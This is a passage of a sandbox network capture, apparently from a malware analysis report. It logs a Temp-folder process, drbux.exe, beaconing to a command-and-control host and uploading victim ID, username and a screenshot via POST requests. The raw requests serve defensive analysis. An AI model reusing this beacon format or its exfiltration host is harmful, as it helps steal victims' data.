Jul 19, 2021 18:35:27.648366928 CEST	2292	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:27.649617910 CEST	2298	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:27.649967909 CEST	2301	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:27.650461912 CEST	2306	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:27.651155949 CEST	2311	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:27.651542902 CEST	2315	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:27.652483940 CEST	2318	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:35:27.727379084 CEST	2321	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.6	49874	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:08.553106070 CEST	13612	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:08.636346102 CEST	13620	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.6	49875	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:08.866491079 CEST	13621	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:08.971235037 CEST	13661	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.6	49876	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:08.867064953 CEST	13622	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:08.867181063 CEST	13622	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:08.867408037 CEST	13632	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:08.867594957 CEST	13635	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:08.949585915 CEST	13635	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:08.950108051 CEST	13638	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:08.950582981 CEST	13641	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:08.950805902 CEST	13643	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:08.951046944 CEST	13646	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:08.951255083 CEST	13649	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:08.951453924 CEST	13652	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:08.951756954 CEST	13654	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.6	49877	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:09.182748079 CEST	13720	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:09.275466919 CEST	13721	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.6	49878	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:09.842003107 CEST	13722	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:09.970917940 CEST	13761	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.6	49879	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:09.853369951 CEST	13722	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:09.853476048 CEST	13723	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:09.853684902 CEST	13733	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:09.853864908 CEST	13735	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:09.949801922 CEST	13738	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:09.949898005 CEST	13741	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:09.950149059 CEST	13744	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:09.950191975 CEST	13752	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:09.950213909 CEST	13756	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:09.950360060 CEST	13758	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:09.950695992 CEST	13761	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:10.243280888 CEST	13821	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.6	49880	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
